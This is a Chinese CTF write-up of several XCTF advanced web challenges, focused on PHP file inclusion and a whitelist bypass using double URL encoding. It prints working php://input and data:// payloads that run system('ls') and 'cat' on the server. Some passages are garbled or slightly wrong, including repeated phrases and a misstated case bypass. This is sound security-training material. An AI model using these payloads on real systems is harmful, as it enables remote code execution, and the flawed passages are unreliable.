攻防世界-web高手进阶区
文章目录
- 攻防世界-web高手进阶区
- 1、baby_web
- 2、Training-WWW-Robots
- 3、Web_php_include (文件包含+伪协议)
- 1.方法
- 2.方法
- 4.ics-06(bp爆破)
- 4.warmup
- 6标题NewsCenter (sql注入)
- 7. unserialize3(反序列化)
- 7.1Web_php_unserializ
- 8.php_rce (远程控制利用)
- 9.PHP2(两次URL编码 )
- 10.NaNNaNNaNNaN-Batman
- 11.upload1(一句话木马简单)
- 12.supersqli(sql注入)
- 14.web2(解密)
- 15. mfw(git泄露问题+弱语句)
- 16. Cat(四星+Django漏洞)
- 19. ics-05(文件包含 | preg_replace()函数 -> /e漏洞 | 头文件伪造->X-Forwarded-For)
- 19.1关于文件包含所有总结
- 20.CTF-lottery[git文件泄露利用+PHP弱类型]
- 24. bug(五星)(漏洞挖掘 + 伪造本地IP + 文件上传漏洞 (黑名单过滤+文件头检测))
- 25.Nizhuansiwei(两星+文件包含(伪协议)+反序列化)
- 26.ics-07(弱类型+文件上传(linux特性绕过)
- 27. wtf.sh-150(perl网页文件+ARGV上传造成任意文件读取)
- SQL注入---------------------------------------
- 6. NewsCenter
- 12 supersqli(sql注入)
- 31.unfinish(SQL二次注入)
- Python模板注入---------------------------------------
- 18.shrine SSTI模板注入
- 17. easytornado(Tornado)
- 13.PHP_python_template_injection
- 28. Confusion1(request.args.[key]来绕过关键字限制)
- 综合题目
- 29. Fakebook(SSRF、反序列化、SQL注入)
- 30.i-got-id-200(perl网页文件+ARGV上传造成任意文件读取)
- 23.FlatScience(robots协议 + sqlite注入)
- 34.favorite_number(代码审计综合)
- 持续更新
攻防世界-web高手进阶区
提示:这里是记录web的题目,这里我基本不讲很多细节,请自行下载Burpsuite,web题型使用的等等工具。浏览器我使用了火狐浏览器
说明,有的数字没有顺序,我可能是按照CTF题目类型来的,和题目难以来的。
1、baby_web
非常的简单,bp抓包直接把1.php去掉后,就看的flag了。
2、Training-WWW-Robots
非常的简单,点网页进去后,看到了robots.txt进去看到一个可以看到他有一个不允许访问的文件f10g.php,在访就出来了。
3、Web_php_include (文件包含+伪协议)
代码审计
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>
思路
strstr()对大小敏感
str_replace()替换函数
找到输入page,如何找到php://则替换掉。
所以只要绕过strstr()函数,既然对大小写敏感,我们就换成小写。
1.方法
php://input(方式一)
解释
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替
$HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下
$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。不能使用get的注意: 在 PHP 5.6 之前 php://input 打开的数据流只能读取一次; 数据流不支持 seek 操作。 不过,依赖于 SAPI
的实现,请求体数据被保存的时候, 它可以打开另一个 php://input 数据流并重新读取。 通常情况下,这种情况只是针对 POST
请求,而不是其他请求方式,比如 PUT 或者 PROPFIND。
- 造成文件包含漏洞的函数通常有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
2.data协议
用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
3.php://协议
php://input,用于执行php代码,需要post请求提交数据。
Php 代码
<?php system('ls');?>
<?php system('cat');?> 这些都是php的代码
2.方法
data://text/plain
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
data://text/plain,<?php system("ls")?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
提交:data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
4.ics-06(bp爆破)
无厘头,爆破ID 先来一个数字的成功就不找了。
使用BP
4.warmup
知识点
双重编码+url+…/目录方法
解题步骤
看源码之后
发现有提示
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //这里是提示if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
拿到源码
然后看到提示
if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串&& emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验) {include $_REQUEST['file']; //包含$_REQUEST['file']文件exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//打印滑稽表情}
'函数名: CheckFile
'作 用:检查某一文件是否存在
'参 数:FileName ------ 文件地址 如:/swf/1.swf
'返回值:False ---- True
一个if语句要求传入的file变量:
• 非空
• 类型为字符串
• 能够通过checkFile()函数校验
同时满足以上三个要求即可包含file中的文件,否则打印滑稽表情
回到上面checkFile()函数
注释了highlight_file(__FILE__); //打印代码class emmm //定义emmm类{public static function checkFile(&$page)//将传入的参数赋给$page{$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串echo "you can't see it";//打印"you can't see it"return false;//返回false}if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中return true;//返回true}$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page$page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);//url解码$page$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}
可以看到函数代码中有四个if语句
• 第一个if语句对变量进行检验,要求$page为字符串,否则返回false
• 第二个if语句判断page是否存在于page是否存在于page是否存在于whitelist数组中,存在则返回true
• 第三个if语句判断截取后的page是否存在于page是否存在于page是否存在于whitelist数组中,截取$page中’?'前部分,存在则返回true
PHP mb_substr() 函数
<?php echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
• 第四个if语句判断url解码并截取后的page是否存在于page是否存在于page是否存在于whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
class emmm{public static function checkFile(&$page){//白名单列表$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值if (! isset($page) || !is_string($page)) {echo "you can't see it A";return false;}//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($page, $whitelist)) {return true;}//过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置);//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}//url对$page解码$_page = urldecode($page);//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}
}
可能博客有些地方说的还不够清楚,在这里在说明一下关于payload的问题!!
首先这个地方涉及到一个新的知识:双重编码
比如这题目你将?双重编码的话,经过包含时你包含的文件会被当成一个目录
在自己搭建的一个简单的环境下面举个例子
创建好这几个文件:
1.php里面是本题的漏洞源码
2.php里面是phpinfo();
source.php里面什么都没有,空的!主要为了通过白名单!
flag.txt乱写一个flag~
进行测试:
在漏洞源码中加上,以便观察:
构造号payload后能够很清楚的看见,是成功的,它是当作目录执行的:
同理flag.txt也可以这样得到:
总结
总之,就是双重编码的话,经过包含时你包含的文件会被当成一个目录!!!!
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?‘前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?‘两次编码值为’%253f’),构造url:
http://***
攻防世界-web高手进阶区相关推荐
- 攻防世界 web高手进阶区 9分题 favorite_number
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...
- 攻防世界 web高手进阶区 10分题 weiphp
前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...
- 攻防世界 web高手进阶区 8分题 Web_python_block_chain
前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...
- 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp
文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...
- 攻防世界 web高手进阶区 9分题 bilibili
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是bilibili的writeup 解题过程 进来界面 这尼玛出题人是黑还是粉啊 笑死 看题目意思是买lv6 惯例源码+御剑 没发现什 ...
- 攻防世界 web高手进阶区 7分题Confusion1
前言 继续ctf的旅程 开始攻防世界web高手进阶区的7分题 本文是Confusion1的writeup 解题过程 进来的界面如下 (后来知道是php vs python的意思,也就是给提示跟pyth ...
- 攻防世界WEB高手进阶区warmup,NewsCenter,NaNNaNNaNNaN-Batman
前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 攻防世界专栏:https://blog.csdn.net ...
- XCTF 攻防世界 web 高手进阶区
文章目录 ics-07 shrine( flask + jinja2 的 SSTI) easytornado(模板注入) upload(文件名注入) supersqli(堆叠注入) php_rce(T ...
- 攻防世界——web高手进阶区题解
目录 1,cat (Django,cURL漏洞) 2,ics-05(XCTF 4th-CyberEarth)(文件包含 + preg_replace函数漏洞) 3,ics-06(爆破id) 4,l ...
最新文章
- android开发我的新浪微博客户端-登录页面功能篇(4.2)
- html 中ajax 请求没反应,ajax请求数据成功,页面的数据没有加载出来
- javascript的self和this使用小结
- 什么是javax.ws.rs.core.context? [第5部分]
- pytorch dataset读取数据流程_高效 PyTorch :如何消除训练瓶颈
- 三羊献瑞c语言编程入门,蓝桥杯-三羊献瑞,
- Nginx开启Gzip压缩配置详解
- 分享一些很小众但是很实用的软件
- FATF发布数字资产反洗钱指南
- Spring开发指南0.8版(By夏昕)
- 前端开发,测试,后端,该如何选择?
- 批处理命令之Start的详细用法\批处理打开IE窗口最大化
- MTK Android部分配置修改
- SpringBoot结合MyBatis 【超详细】
- 两化融合的定义和两化融合如何认定
- GD32F130FXP6学习笔记六:cortex-m3系列的ADC初识
- 狐友商家怎样运营狐友帐号
- 设计模式-备忘录模式(Memento)
- Windows10神州网信政府版的配置修改
- 机械制造作业考研题目答案分享——加工的表面质量
热门文章
- 高德地图 web 端 JS API 遇到的坑及性能优化
- win7系统配置简单web服务器
- 门禁系统服务器功能配置,多功能门禁系统控制器技术方案
- 商户后台返回数据签名错误_定期定额个体工商户如何快速核查申报是否正确?...
- 活到老, 学到老, 做到老-----想念导师赵日华
- /toplan/phpsms#寄生代理器发送短信
- 数学脱式计算在线计算机,六上数学简便脱式计算-20210606002635.docx-原创力文档
- 洛谷P4001 [BJOI2006]狼抓兔子(平面图转对偶图)
- stust2 hibernate spring 框架复习(一)
- 刷新认知,真正走向大众认知的易用性极强RPA产品——影刀RPA